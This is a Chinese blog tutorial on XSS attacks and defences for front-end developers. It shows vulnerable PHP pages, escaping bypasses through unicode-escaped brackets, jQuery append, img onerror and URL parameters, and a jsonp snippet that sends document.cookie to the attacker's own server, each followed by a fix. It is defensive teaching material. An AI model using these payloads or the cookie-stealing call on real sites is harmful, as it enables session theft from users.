美文网首页结构化思维web前端 pc h5 浏览器
Web前端安全(一)-XSS攻击及其防御

Web前端安全(一)-XSS攻击及其防御

作者: 虚竹梦姑 | 来源:发表于2017-12-13 16:37 被阅读1117次

    最近有的同学在面试的过程中可能会遇到web安全相关的知识。那今天咱们来整理一下web安全相关的知识吧!
    声明该文章大量参考,https://segmentfault.com/a/1190000006672214?utm_source=weekly&utm_medium=email&utm_campaign=email_weekly#articleHeader14, 后期会进行更深入的研究和实践!

    web安全的问题历来是比较重要的问题,但是在小的公司一般会被忽略掉,或者是漏掉。可能有很多方面的原因把,即使这样,面试的时候笔试题或者面试题中也会出现很多这种问题!咱们在这里不过多讲解web网络安全的知识,因为太多太高深了!咱们这里只需要关心web前端工程师比较常见的安全问题及其怎么进行防御的问题!

    为什么要会存在攻击?

    其实真正为了玩的心态去进行黑网站的人,还是少数。多数攻击还是有利益的成分在里面的。我模糊的记得,以前听腾讯的工程师说过一句话,大概是这样的:开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他可以获取的利益大得多,黑客就不会去攻击。防范强如支付宝、QQ等产品,也都曾被报过漏洞,看来防御不是绝对的,我们只能想办法让我们的应用更加安全。

    前端攻击都有哪些形式,我们该如何防范?

    1、XSS攻击

    1.1、XSS简介

    XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

    其实在web前端方面,可以简单的理解为一种javascript代码注入。举个例子,我们有个社交网站,允许大家相互访问空间,网站可能是这样做的:

    <?php
        $username="蒯老师";
    ?>
    <!DOCYTPE HTML>
    <html>
        <head>
            <meta charset="utf-8" />
        </head>
        <body>
            <div>
                用户名:<?php echo $username;?>
            </div>
            <div>
                第一条状态:蒯老师的状态1
            </div>
            <div>
                第二条状态:蒯老师的状态2
            </div>
            <div>
                第三条状态:蒯老师的状态3
            </div>
        </body>
    </html>
    

    运行后的效果是这样的:


    效果图.png

    但是,如果你的用户名,起名称的时候,带上script标签呢?我们知道,浏览器遇到html中的script标签的时候,会解析并执行标签中的js脚本代码,那么如果你的用户名称里面含有script标签的话,就可以执行其中的代码了。
    代码如下,效果如图:

    <?php
        $username="<script>alert('蒯老师');</script>";
    ?>
    
    效果图2

    如果你将自己的用户名设定为这种执行脚本的方式,再让别人去访问你的连接的话,就可以达到在他人web环境中,执行自己脚本的效果了。我们还可以使用ajax,将其他用户在当前域名下的cookie获取并发送到自己的服务器上。这样就可以获取他人信息了。比如,刚刚咱们使用的不是alert而是,如下的代码:

    $.ajax({
        url: '自己的服务器',
        dataType: 'jsonp',
        data: {'盗取的用户cookie': document.cookie}
    });
    

    1.2 怎么在前端代码进行防范?

    目前来讲,最简单的办法防治办法,还是将前端输出数据都进行转义最为稳妥。比如,按照刚刚我们那个例子来说,其本质是,浏览器遇到script标签的话,则会执行其中的脚本。但是如果我们将script标签的进行转义,则浏览器便不会认为其是一个标签,但是显示的时候,还是会按照正常的方式去显示,代码如下,效果如图:

    <?php
        $username="<script>alert('蒯老师');</script>";
    ?>
    <!DOCYTPE HTML>
    <html>
        <head>
            <meta charset="utf-8" />
        </head>
        <body>
            <!--我们将输出的后端变量,转义之后再输出,则可以避免被注入代码-->
            <div>
                用户名:<?php echo htmlentities($username);?>
            </div>
            <div>
                第一条状态:蒯老师的状态1
            </div>
            <div>
                第二条状态:蒯老师的状态2
            </div>
            <div>
                第三条状态:蒯老师的状态3
            </div>
        </body>
    </html>
    
    效果图3

    我们来看一下网页源码:


    网页源码

    虽然显示出来是有script标签的,但是实际上,script标签的左右尖括号(><),均被转义为html字符实体,所以,便不会被当做标签来解析的,但是实际显示的时候,这两个尖括号,还是可以正常展示的。

    1.3 攻击升级

    在看这小结的时候,需要大家可以去看看xss攻击流程或者直接做一次简单的攻击实例来玩玩,否则你会看蒙的!

    1.3.1 append的利用

    上一小节我们防住了script标签的左右尖括号,然而,聪明的黑客们还是想出了好办法去破解,我们知道,直接给innerHTML赋值一段js,是无法被执行的,因为咱们已经转义了。比如,

    $('div').innerHTML = '<script>alert("okok");</script>';
    

    但是,jquery的append可以做到,究其原因,就是因为jquery会在将append元素变为fragment的时候,找到其中的script标签,再使用eval执行一遍。jquery的append使用的方式也是innerHTML(如图1.3.1.1)。而innerHTML是会将unicode码转换为字符实体的。

    需要注意的地方就是eval这个函数是可以将字符串重新转换成函数的并且执行函数的。eval() 函数:可计算某个字符串,并执行其中的的 JavaScript 代码。
    利用这两种知识结合,我们可以得出,网站使用append进行dom操作,如果是append我们可以决定的字段,那么我们可以将左右尖括号,使用unicode码伪装起来,就像这样--"\u003cscript\u003ealert('okok');"。接下来转义的时候,伪装成\u003的<会被漏掉,append的时候,则会被重新调用。代码如下:

    <?php
        $username="\u003cscript\u003ealert('okok');";
    ?>
    <!DOCYTPE HTML>
    <html>
        <head>
            <meta charset="utf-8" />
            <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
        </head>
        <body>
            <div>
                用户名:<?php echo htmlentities($username);?>
            </div>
            <div>
                第一条状态:蒯老师的状态1
            </div>
            <div>
                第二条状态:蒯老师的状态2
            </div>
            <div>
                第三条状态:蒯老师的状态3
            </div>
            <div>版权所有:<span id="username_info"></span></div>
            <script>
                $('#username_info').append("<?php echo htmlentities($username);?>");
            </script>
        </body>
    </html>
    
    append效果图

    我们可以看到,虽然进行了转义,注入的代码还是会再次被执行。

    1.3.2 img利用攻击

    img标签,在加载图片失败的时候,会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。我们先来看一下,正常的用户分享图片的行为怎么做。代码如下:

    <?php
        $username="<script>alert('蒯老师');</script>";
        $imgsrc="https://img3.doubanio.com/view/photo/l/public/p2504752942.webp";
    ?>
    <!DOCYTPE HTML>
    <html>
        <head>
            <meta charset="utf-8" />
        </head>
        <body>
            <div>
                用户名:<?php echo htmlentities($username);?>
            </div>
            <div>
                第一条状态:蒯老师的状态1,这个是图片:
                <img src="<?php echo $imgsrc;?>" height="200"/>
            </div>
            <div>
                第二条状态:蒯老师的状态2
            </div>
            <div>
                第三条状态:蒯老师的状态3
            </div>
        </body>
    </html>
    
    效果图

    但是图片的地址使用另外一种写法

    <?php
        $imgsrc="\" onerror=\"javascript:alert('蒯老师');\"";
    ?>
    

    这时的源码已经变为--src为空,但是onerror的时候,执行注入代码。我们刷新查看页面,就会发现,代码注入已经成功。


    2017-12-13_165549.png

    兄弟们说那你就使用转义接着防御吧!!!没问题

    <img src="<?php echo htmlentities($imgsrc);?>" />
    

    哈哈,恢复正常了!但是别急,下面的攻击会让你防不胜防!!!

    1.3.3组合攻击

    道高一尺魔高一丈,虽然防住了img标签直接的输出,但是我们的攻击点又来了,我们将1.3.1中所说的方式与1.3.2中所说的方式进行结合,进行一种组合式攻击,我们之前说过,innerHTML赋值的script标签,不会被执行,但是innerHTML赋值一个img标签是可以被识别的。我们把img标签的左右尖括号,使用unicode进行伪装,让转义方法认不出来,即使innerHTML也可以利用上了,代码如下:

    <?php
        $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
    ?>
    <!DOCYTPE HTML>
    <html>
        <head>
            <meta charset="utf-8" />
        </head>
        <body>
            <div>
                用户名:<?php echo htmlentities($username);?>
            </div>
            <div>
                第一条状态:蒯老师的状态1
            </div>
            <div>
                第二条状态:蒯老师的状态2
            </div>
            <div>
                第三条状态:蒯老师的状态3
            </div>
            <div>版权所有:<span id="username_info"></span></div>
            <script>
                document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
            </script>
        </body>
    </html>
    
    效果图
    攻击成功!!!

    1.4 防御升级(回击)

    我们需要再次进行防御升级了,我们将输出的字符串中的\反斜杠进行转义(json转义)。这样,\就不会被当做unicode码的开头来被处理了。代码如下:

    document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;
    

    效果图:

    效果图
    完美回击

    1.5 XSS攻击再升级(另辟他径)

    都说了道高一尺魔高一丈了,你以为防得住后端输出,黑客大大们就没办法攻击了吗。我们有的时候,会有一些习惯,拿URL上的get参数去构建网页。好比说,直接拿url上的用户名去展示啦,拿url上的一些回跳地址之类的。但是url上的参数,我们是无法提前对其进行转义的。接下来,来个例子,代码如下:

    <?php
        $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
    ?>
    <html>
        <head>
            <meta charset="utf-8" />
            <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
        </head>
        <body>
            <div>
                用户名:<?php echo htmlentities($username);?>
            </div>
            <div>
                第一条状态:蒯老师的状态1
            </div>
            <div>
                第二条状态:蒯老师的状态2
            </div>
            <div>
                第三条状态:蒯老师的状态3
            </div>
            <div>版权所有:<span id="username_info"></span></div>
            <script>
                var param = /=(.+)$/.exec(location.search);
                var value = decodeURIComponent(param[1]);
                $('#username_info').append(value);
            </script>
        </body>
    </html>
    

    上述代码,满足了一个很正常的需求,解开URL中的一个参数,并将其渲染至页面上。但是,这里面存在一个风险,如果黑客在URL的这个参数中,加入js代码,这样便又会被执行。


    效果图

    1.6 XSS防御再升级(抵挡千军万马)

    像这种从url中获取的信息,笔者建议,最好由后端获取,在前端转义后再行输出,代码如下,效果如图

    <script>
        var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
        $('#username_info').append(value);
    </script>
    
    效果图

    使用url中的参数的时候要小心,更不要拿URL中的参数去eval。

    1.7 究极防御 - 保护cookie

    大家都知道直接使用document.cookie就可以拿到你的cookie了。如果不幸中招了,黑客的js真的在我们的网页上执行了,我们该怎么办。其实,很多时候,我们的敏感信息都是存储在cookie中的(不要把用户机密信息放在网页中),想要阻止黑客通过js访问到cookie中的用户敏感信息。那么请使用cookie的HttpOnly属性,加上了这个属性的cookie字段,js是无法进行读写的。php的设置方法如下:

    <?php
        setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
    ?>
    

    最后一个值设置TRUE时,我们的cookie是读取不到的,效果如下:


    效果图

    下面一篇文章讲解CSRF攻击的知识

    相关文章

      网友评论

        本文标题:Web前端安全(一)-XSS攻击及其防御

        本文链接:https://www.haomeiwen.com/subject/iexvvxtx.html